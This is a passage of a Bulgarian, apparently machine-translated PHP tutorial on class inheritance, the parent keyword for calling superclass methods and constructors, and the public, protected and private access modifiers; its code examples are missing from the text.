Можем да третираме екземпляр от класа my_Cat, сякаш е обект от тип Cat, т.е. можем да предадем обект от тип my_Cat към метода foo() на класа Cat и всичко ще работи както се очаква.

родителски оператор

На практика може да се наложи подкласовете да разширят функционалността на методите на родителския клас. Чрез разширяване на функционалността чрез замяна на методите на суперклас, подкласовете запазват способността първо да изпълнят кода на родителския клас и след това да добавят код, който прилага допълнителната функционалност. Нека да разгледаме как може да стане това.

За да извикате желания метод от родителски клас, ще трябва да получите достъп до самия клас чрез дескриптор. PHP предоставя родителската ключова дума за тази цел. Операторът родител позволява на подкласовете да имат достъп до методите (и конструкторите) на класа родител и да добавят към съществуващата им функционалност. За да посочите метод в контекста на клас, използвайте символите "::" (две двоеточия). Синтаксисът на родителския оператор е:

Parent::parent_class метод

Тази конструкция ще извика метод, дефиниран в суперкласа. След такова извикване можете да поставите своя програмен код, който ще добави нова функционалност:

Когато дъщерен клас дефинира свой собствен конструктор, PHP не извиква автоматично конструктора на родителския клас. Това трябва да се направи ръчно в конструктора на подклас. Подкласът първо извиква конструктора на своя родителски клас в своя конструктор, като предава необходимите аргументи за инициализация, изпълнява го и след това изпълнява кода, който реализира допълнителна функционалност, в този случай инициализира свойство на подкласа.

Ключовата дума parent може да се използва не само в конструктори, но и във всеки друг метод, чиято функционалност искате да разширите, това може да се постигне чрез извикване на метод на родителския клас:

Тук първо се извиква методът getstr() от суперкласа, чиято стойност се присвоява на променлива и след това се изпълнява останалата част от кода, дефиниран в метода на подкласа.

Сега, след като разгледахме основите на наследяването, най-накрая можем да разгледаме проблема с видимостта на свойствата и методите.

публичен, защитен и частен: контрол на достъпа

До този момент ние изрично декларирахме всички свойства като публични. И този тип достъп е зададен по подразбиране за всички методи.

Членовете на клас могат да бъдат декларирани като публични, защитени или частни. Нека да разгледаме разликата между тях:

  • Публичните свойства и методи могат да бъдат достъпни от всеки контекст.
  • Защитените свойства и методи могат да бъдат достъпни или от съдържащия клас, или от неговия подклас. Никакъв външен код няма достъп до тях.
  • Можете да направите данните от класа недостъпни за извикващата програма, като използвате ключовата дума private. Такива свойства и методи могат да бъдат достъпни само от класа, в който са декларирани. Дори подкласове от този клас нямат достъп до такива данни.
публичен - отворен достъп: частен - достъп само от клас методи: защитен - защитен достъп:

Модификаторът protected от гледна точка на извикващата програма изглежда точно както private: той забранява достъпа до данните на обекта отвън. Въпреки това, за разлика от private, той ви позволява да осъществявате достъп до данни не само от методи на вашия клас, но и от методи на подклас.



Свързани публикации